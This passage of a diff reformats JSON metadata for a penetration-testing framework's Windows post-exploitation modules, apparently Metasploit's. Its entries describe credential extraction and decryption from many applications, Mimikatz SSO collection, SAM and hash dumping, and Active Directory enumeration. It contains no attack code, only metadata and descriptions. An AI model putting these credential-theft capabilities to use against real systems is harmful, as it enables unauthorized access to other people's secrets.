client. These\n passwords are stored in the registry. They are encrypted with a custom algorithm.\n This module extracts and decrypts these passwords.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -272821,22 +242249,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/idm": { "name": "Windows Gather Internet Download Manager (IDM) Password Extractor", "fullname": "post/windows/gather/credentials/idm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272845,9 +242268,7 @@ "Unknown" ], "description": "This module recovers the saved premium download account passwords from\n Internet Download Manager (IDM). These passwords are stored in an encoded\n format in the registry. This module traverses through these registry entries\n and decodes them. Thanks to the template code of theLightCosine's CoreFTP\n password module.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -272861,22 +242282,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/imail": { "name": "Windows Gather IPSwitch iMail User Data Enumeration", "fullname": "post/windows/gather/credentials/imail", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272900,22 +242316,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/imvu": { "name": "Windows Gather Credentials IMVU Game Client", "fullname": "post/windows/gather/credentials/imvu", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272923,9 +242334,7 @@ "Shubham Dawra " ], "description": "This module extracts account username & password from the IMVU game client\n and stores it as loot.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -272939,22 +242348,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/mcafee_vse_hashdump": { "name": "McAfee Virus Scan Enterprise Password Hashes Dump", "fullname": "post/windows/gather/credentials/mcafee_vse_hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -272979,22 +242383,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/mdaemon_cred_collector": { "name": "Windows Gather MDaemonEmailServer Credential Cracking", "fullname": "post/windows/gather/credentials/mdaemon_cred_collector", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": null, "type": "post", @@ -273018,22 +242417,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/meebo": { "name": "Windows Gather Meebo Password Extractor", "fullname": "post/windows/gather/credentials/meebo", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273042,9 +242436,7 @@ "Unknown" ], "description": "This module extracts login account password stored by\n Meebo Notifier, a desktop version of Meebo's Online Messenger.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -273058,22 +242450,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/moba_xterm": { "name": "Windows Gather MobaXterm Passwords", "fullname": "post/windows/gather/credentials/moba_xterm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273098,30 +242485,20 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Stability": [], + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/mremote": { "name": "Windows Gather mRemote Saved Password Extraction", "fullname": "post/windows/gather/credentials/mremote", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273131,9 +242508,7 @@ "mubix " ], "description": "This module extracts saved passwords from mRemote. mRemote stores\n connections for RDP, VNC, SSH, Telnet, rlogin and other protocols. It saves\n the passwords in an encrypted format. The module will extract the connection\n info and decrypt the saved passwords.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -273147,22 +242522,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/mssql_local_hashdump": { "name": "Windows Gather Local SQL Server Hash Dump", "fullname": "post/windows/gather/credentials/mssql_local_hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273187,22 +242557,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/navicat": { "name": "Windows Gather Navicat Passwords", "fullname": "post/windows/gather/credentials/navicat", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273229,31 +242594,21 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Stability": [], + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/nimbuzz": { "name": "Windows Gather Nimbuzz Instant Messenger Password Extractor", "fullname": "post/windows/gather/credentials/nimbuzz", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273262,9 +242617,7 @@ "Unknown" ], "description": "This module extracts the account passwords saved by Nimbuzz Instant\n Messenger in hex format.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -273278,22 +242631,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/outlook": { "name": "Windows Gather Microsoft Outlook Saved Password Extraction", "fullname": "post/windows/gather/credentials/outlook", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273301,9 +242649,7 @@ "Justin Cacak" ], "description": "This module extracts and decrypts saved Microsoft\n Outlook (versions 2002-2010) passwords from the Windows\n Registry for POP3/IMAP/SMTP/HTTP accounts.\n In order for decryption to be successful, this module must be\n executed under the same privileges as the user which originally\n encrypted the password.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -273317,22 +242663,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/plsql_developer": { "name": "Windows Gather PL/SQL Developer Connection Credentials", "fullname": "post/windows/gather/credentials/plsql_developer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273364,24 +242705,18 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/pulse_secure": { "name": "Windows Pulse Secure Connect Client Saved Password Extractor", "fullname": "post/windows/gather/credentials/pulse_secure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273415,24 +242750,18 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/purevpn_cred_collector": { "name": "Windows Gather PureVPN Client Credential Collector", "fullname": "post/windows/gather/credentials/purevpn_cred_collector", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273457,22 +242786,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/razer_synapse": { "name": "Windows Gather Razer Synapse Password Extraction", "fullname": "post/windows/gather/credentials/razer_synapse", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273499,22 +242823,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/razorsql": { "name": "Windows Gather RazorSQL Credentials", "fullname": "post/windows/gather/credentials/razorsql", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273523,9 +242842,7 @@ "sinn3r " ], "description": "This module stores username, password, type, host, port, database (and name)\n collected from profiles.txt of RazorSQL.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -273539,22 +242856,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/rdc_manager_creds": { "name": "Windows Gather Remote Desktop Connection Manager Saved Password Extraction", "fullname": "post/windows/gather/credentials/rdc_manager_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273562,9 +242874,7 @@ "Tom Sellers " ], "description": "This module extracts and decrypts saved Microsoft Remote Desktop\n Connection Manager (RDCMan) passwords the .RDG files of users.\n The module will attempt to find the files configured for all users\n on the target system. Passwords for managed hosts are encrypted by\n default. In order for decryption of these passwords to be successful,\n this module must be executed under the same account as the user which\n originally encrypted the password. Passwords stored in plain text will\n be captured and documented.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -273578,22 +242888,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/securecrt": { "name": "Windows SecureCRT Session Information Enumeration", "fullname": "post/windows/gather/credentials/securecrt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273619,12 +242924,8 @@ "post_auth": false, "default_credential": false, "notes": { - "Reliability": [ - - ], - "Stability": [ - - ], + "Reliability": [], + "Stability": [], "SideEffects": [ "ioc-in-logs" ] @@ -273633,16 +242934,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/skype": { "name": "Windows Gather Skype Saved Password Hash Extraction", "fullname": "post/windows/gather/credentials/skype", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273669,22 +242966,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/smartermail": { "name": "Windows Gather SmarterMail Password Extraction", "fullname": "post/windows/gather/credentials/smartermail", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273710,23 +243002,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/smartftp": { "name": "Windows Gather SmartFTP Saved Password Extraction", "fullname": "post/windows/gather/credentials/smartftp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273734,9 +243021,7 @@ "theLightCosine " ], "description": "This module finds saved login credentials\n for the SmartFTP FTP client for windows.\n It finds the saved passwords and decrypts\n them.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -273750,22 +243035,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/solarwinds_orion_dump": { "name": "SolarWinds Orion Secrets Dump", "fullname": "post/windows/gather/credentials/solarwinds_orion_dump", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2022-11-08", "type": "post", @@ -273824,9 +243104,7 @@ "post_windows/gather/credentials/spark_im": { "name": "Windows Gather Spark IM Password Extraction", "fullname": "post/windows/gather/credentials/spark_im", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273851,22 +243129,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/sso": { "name": "Windows Single Sign On Credential Collector (Mimikatz)", "fullname": "post/windows/gather/credentials/sso", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273874,9 +243147,7 @@ "Ben Campbell " ], "description": "This module will collect cleartext Single Sign On credentials from the Local\n Security Authority using the Kiwi (Mimikatz) extension. Blank passwords will not be stored\n in the database.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -273890,22 +243161,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/steam": { "name": "Windows Gather Steam Client Session Collector.", "fullname": "post/windows/gather/credentials/steam", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273913,9 +243179,7 @@ "Nikolai Rusakov " ], "description": "This module will collect Steam session information from an\n account set to autologin.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -273929,22 +243193,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/teamviewer_passwords": { "name": "Windows Gather TeamViewer Passwords", "fullname": "post/windows/gather/credentials/teamviewer_passwords", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -273971,22 +243230,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/thycotic_secretserver_dump": { "name": "Delinea Thycotic Secret Server Dump", "fullname": "post/windows/gather/credentials/thycotic_secretserver_dump", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2022-08-15", "type": "post", @@ -274039,9 +243293,7 @@ "post_windows/gather/credentials/tortoisesvn": { "name": "Windows Gather TortoiseSVN Saved Password Extraction", "fullname": "post/windows/gather/credentials/tortoisesvn", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274049,9 +243301,7 @@ "Justin Cacak" ], "description": "This module extracts and decrypts saved TortoiseSVN passwords. In\n order for decryption to be successful this module must be executed\n under the same privileges as the user which originally encrypted the\n password.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -274065,22 +243315,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/total_commander": { "name": "Windows Gather Total Commander Saved Password Extraction", "fullname": "post/windows/gather/credentials/total_commander", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274088,9 +243333,7 @@ "theLightCosine " ], "description": "This module extracts weakly encrypted saved FTP Passwords from Total Commander.\n It finds saved FTP connections in the wcx_ftp.ini file.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -274104,22 +243347,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/trillian": { "name": "Windows Gather Trillian Password Extractor", "fullname": "post/windows/gather/credentials/trillian", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274128,9 +243366,7 @@ "Unknown" ], "description": "This module extracts account password from Trillian & Trillian Astra\n v4.x-5.x instant messenger.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -274144,22 +243380,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/veeam_credential_dump": { "name": "Veeam Backup and Replication Credentials Dump", "fullname": "post/windows/gather/credentials/veeam_credential_dump", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2022-11-22", "type": "post", @@ -274216,9 +243447,7 @@ "post_windows/gather/credentials/vnc": { "name": "Windows Gather VNC Password Extraction", "fullname": "post/windows/gather/credentials/vnc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274227,9 +243456,7 @@ "mubix " ], "description": "This module extract DES encrypted passwords in known VNC locations", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -274243,22 +243470,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/whatsupgold_credential_dump": { "name": "WhatsUp Gold Credentials Dump", "fullname": "post/windows/gather/credentials/whatsupgold_credential_dump", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2022-11-22", "type": "post", @@ -274324,9 +243546,7 @@ "post_windows/gather/credentials/winbox_settings": { "name": "Windows Gather Mikrotik Winbox \"Keep Password\" Credentials Extractor", "fullname": "post/windows/gather/credentials/winbox_settings", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274334,9 +243554,7 @@ "Pasquale 'sid' Fiorillo" ], "description": "This module extracts Mikrotik Winbox credentials saved in the\n \"settings.cfg.viw\" file when the \"Keep Password\" option is\n selected in Winbox.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -274357,9 +243575,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -274367,16 +243583,12 @@ "powershell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/windows_autologin": { "name": "Windows Gather AutoLogin User Credential Extractor", "fullname": "post/windows/gather/credentials/windows_autologin", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274401,22 +243613,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/windows_sam_hivenightmare": { "name": "Windows SAM secrets leak - HiveNightmare", "fullname": "post/windows/gather/credentials/windows_sam_hivenightmare", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-07-20", "type": "post", @@ -274450,12 +243657,8 @@ "HiveNightmare", "SeriousSAM" ], - "Reliability": [ - - ], - "SideEffects": [ - - ], + "Reliability": [], + "SideEffects": [], "Stability": [ "crash-safe" ] @@ -274464,16 +243667,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/winscp": { "name": "Windows Gather WinSCP Saved Password Extraction", "fullname": "post/windows/gather/credentials/winscp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274481,9 +243680,7 @@ "theLightCosine " ], "description": "This module extracts weakly encrypted saved passwords from\n WinSCP. It searches for saved sessions in the Windows Registry\n and the WinSCP.ini file. It cannot decrypt passwords if a master\n password is used.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -274497,22 +243694,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/wsftp_client": { "name": "Windows Gather WS_FTP Saved Password Extraction", "fullname": "post/windows/gather/credentials/wsftp_client", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274520,9 +243712,7 @@ "theLightCosine " ], "description": "This module extracts weakly encrypted saved FTP Passwords\n from WS_FTP. It finds saved FTP connections in the ws_ftp.ini file.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -274536,22 +243726,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/credentials/xshell_xftp_password": { "name": "Windows Gather Xshell and Xftp Passwords", "fullname": "post/windows/gather/credentials/xshell_xftp_password", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274582,24 +243767,18 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/dnscache_dump": { "name": "Windows Gather DNS Cache", "fullname": "post/windows/gather/dnscache_dump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274607,9 +243786,7 @@ "Borja Merino " ], "description": "This module displays the records stored in the DNS cache.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -274623,22 +243800,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/dumplinks": { "name": "Windows Gather Dump Recent Files lnk Info", "fullname": "post/windows/gather/dumplinks", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274646,9 +243818,7 @@ "davehull " ], "description": "The dumplinks module is a modified port of Harlan Carvey's lslnk.pl Perl script.\n This module will parse .lnk files from a user's Recent Documents folder\n and Microsoft Office's Recent Documents folder, if present.\n Windows creates these link files automatically for many common file types.\n The .lnk files contain time stamps, file locations, including share\n names, volume serial numbers, and more.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -274662,22 +243832,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_ad_bitlocker": { "name": "Windows Gather Active Directory BitLocker Recovery", "fullname": "post/windows/gather/enum_ad_bitlocker", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274701,22 +243866,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_ad_computers": { "name": "Windows Gather Active Directory Computers", "fullname": "post/windows/gather/enum_ad_computers", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274740,22 +243900,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_ad_groups": { "name": "Windows Gather Active Directory Groups", "fullname": "post/windows/gather/enum_ad_groups", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274763,9 +243918,7 @@ "Stuart Morgan " ], "description": "This module will enumerate AD groups on the specified domain.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -274779,22 +243932,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_ad_managedby_groups": { "name": "Windows Gather Active Directory Managed Groups", "fullname": "post/windows/gather/enum_ad_managedby_groups", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274802,9 +243950,7 @@ "Stuart Morgan " ], "description": "This module will enumerate AD groups on the specified domain which are specifically managed.\n It cannot at the moment identify whether the 'Manager can update membership list' option\n option set; if so, it would allow that member to update the contents of that group. This\n could either be used as a persistence mechanism (for example, set your user as the 'Domain\n Admins' group manager) or could be used to detect privilege escalation opportunities\n without having domain admin privileges.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -274818,22 +243964,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_ad_service_principal_names": { "name": "Windows Gather Active Directory Service Principal Names", "fullname": "post/windows/gather/enum_ad_service_principal_names", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274858,22 +243999,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_ad_to_wordlist": { "name": "Windows Active Directory Wordlist Builder", "fullname": "post/windows/gather/enum_ad_to_wordlist", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274881,9 +244017,7 @@ "Thomas Ring" ], "description": "This module will gather information from the default Active Domain (AD) directory\n and use these words to seed a wordlist. By default it enumerates user accounts to\n build the wordlist.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -274897,22 +244031,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_ad_user_comments": { "name": "Windows Gather Active Directory User Comments", "fullname": "post/windows/gather/enum_ad_user_comments", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274936,22 +244065,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_ad_users": { "name": "Windows Gather Active Directory Users", "fullname": "post/windows/gather/enum_ad_users", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -274961,9 +244085,7 @@ "Stuart Morgan " ], "description": "This module will enumerate user accounts in the default Active Domain (AD) directory and stores\n them in the database. If GROUP_MEMBER is set to the DN of a group, this will list the members of\n that group by performing a recursive/nested search (i.e. it will list users who are members of\n groups that are members of groups that are members of groups (etc) which eventually include the\n target group DN.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -274977,22 +244099,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_applications": { "name": "Windows Gather Installed Application Enumeration", "fullname": "post/windows/gather/enum_applications", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275000,9 +244117,7 @@ "Carlos Perez " ], "description": "This module will enumerate all installed applications on a Windows system", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275016,22 +244131,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_artifacts": { "name": "Windows Gather File and Registry Artifacts Enumeration", "fullname": "post/windows/gather/enum_artifacts", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275039,9 +244149,7 @@ "averagesecurityguy " ], "description": "This module will check the file system and registry for particular artifacts.\n\n The list of artifacts is read in YAML format from data/post/enum_artifacts_list.txt\n or a user specified file. Any matches are written to the loot.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275059,12 +244167,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "shell", @@ -275072,16 +244176,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_av": { "name": "Windows Installed AntiVirus Enumeration", "fullname": "post/windows/gather/enum_av", - "aliases": [ - - ], + "aliases": [], "rank": 